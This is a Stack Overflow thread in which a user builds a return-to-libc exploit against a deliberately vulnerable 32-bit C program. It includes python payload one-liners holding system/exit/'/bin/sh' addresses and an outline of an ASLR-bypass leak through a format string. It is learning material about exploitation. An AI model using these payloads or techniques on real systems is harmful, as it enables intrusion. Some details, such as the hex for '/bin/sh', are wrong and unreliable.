5

I am trying to implement return-to-libc attack on the below code using format string attack vector.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
   char a[10];
   scanf("%s",&a);  
   printf(a);
   return 0;
}

I have figured out the address of the system() using p system command in gdb. And by inspection of the stack frame using x/500s $esp, I figured the environment variable's address which contains \bin\sh.

system: 0xf7e2cda0 
exit: 0xf7e209d0
\bin\bash: 0xffffd207

With these things in place, I constructed the below format string:

python -c 'print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x07\xd2\xff\xff"' > inp

where 0xffffcdbc - 0x4 is the local address which contains system address 0xf7e2cda0 value.

I compiled the program using gcc -m32 -fno-stack-protector -o sh sh.c and ran it using gdb sh. Upon execution, on entering r<inp, I get the below output

gdb_output

As seen above, there's some error command which is shown and I get to the shell only after running r command again. Could someone explain what am I missing here so that I get to the shell directly?

Also, when I tried to execute the program above without gdb ( by ./sh < inp) by offsetting the gdb address, I get a segmentation fault error. I am assuming this can be solved once the above fix gets corrected.

Kindly answer by giving a complete working exploit - most of the tutorials online use argv[1] in explaining the similar problem but I wish to get the exploit working without the use of arguments.

Thanks!

re3el
  • 735
  • 2
  • 12
  • 28
  • If not for a solution to the problem above, any working exploit string for the above program is also helpful! – re3el Apr 03 '18 at 02:03
  • 1
    to the person who downvoted my question without a comment or reply - please know that I have spent some quality hours before posting a question, I have crafted it well to make sure that everything looks readable. Please don't randomly downvote a question! – re3el Apr 03 '18 at 02:11
  • are you expecting `/bin/bash` or `/bin/dash` ? – ntshetty Apr 03 '18 at 02:17
  • I have the environment variable location pointing to `/bin/bash`, but from my understanding in `gdb ` that gets interpreted as `/bin/dash`. Either way, it would be great if I can have a working exploit for the above code – re3el Apr 03 '18 at 02:19
  • okay, did you observe [This](https://stackoverflow.com/questions/19124095/return-to-lib-c-buffer-overflow-exercise-issue) ? – ntshetty Apr 03 '18 at 03:09
  • Yes, I just was looking into it. The problem still persists on using a `/bin/sh` string from the libc library space – re3el Apr 03 '18 at 03:12

2 Answers2

3

First, you're constructing a pure stack-base overflow, not format string payload.

The libc function system() would work with gdb even if its parameter is not valid. For example, the call system("asdasd") still gives you a shell in gdb (with error messag e pop out, that's what you've seen), so your payload basically didn't locate the /bin/sh correctly.

You should put a padding between the address of system and the address of /bin/sh (a lot of pwn beginners forget this), e.g.

print 'A'*padding_to_ret + addr_system + padding + addr_binsh

For x86 calling convention, Once a function is called, the arguments are push, next the return address, so when ROP-chain take system as return, $esp is now pointing to the position at padding, so the parameter /bin/sh ($ebp+0x4) should be right next to padding.


For the last you mention you want to construct a payload without argv helping, yes it's possible, but you need to have a chance to leak libc address to defeat ASLR to get the address of /bin/sh (you can find this string in libc).

Take the code you provided as example :

  1. scanf("%s, &a)
    • Construct something like %x%x or %9$x for next printf to leak some libc address on the stack.
    • Overwrite return address by main to do another reading.
  2. printf(a)
    • Receive leak address, calculate libc base address and other useful function like system_addr = libc_addr + system_offset.
  3. scanf("%s, &a)
    • Now you know the address of system and /bin/sh, construct the ROP chain above to gain control.
perror
  • 7,071
  • 16
  • 58
  • 85
poming
  • 378
  • 1
  • 2
  • 12
  • 1
    I did have the padding (`\xd0\x09\xe2\xf7` -> exit address) inserted in between addr_system and the address of `/bin/sh`. I am assuming the padding length that you mentioned is of 4 bytes which is what I have already. – re3el Apr 03 '18 at 14:19
1

Finally after some days of research, I have figured out the problem. It wasn't that the address of the /bin/sh string was wrong or that you only need a \bin\sh string address location from libc library to get this to working, but all that you need is a nop sled of 4 bytes at the end of the address of the string that you have placed. So, in essence, my attack string would like this

python -c 'print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x07\xd2\xff\xff" + "\x90\x90\x90\x90" ' > inp

or in the cases where you are writing a /bin/sh directly into your buffer, something like the below string would work

python -c ' print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x84\xce\xff\xff" + "\x5c\x73\x68\0" + "\x90\x90\x90\x90" ' > inp

where \x5c\x73\x68 (hex for \bin\sh) is stored in the buffer at \x84\xce\xff\xff

Note: I sometimes also observed that the addresses that you write at a specific location don't somehow show up. It is in these cases that you should do padding to ensure that everything gets stored at their respective locations.

re3el
  • 735
  • 2
  • 12
  • 28
  • Interesting, in your first solution may you set a break point at `system` to see what's its parameter? – poming Apr 05 '18 at 04:43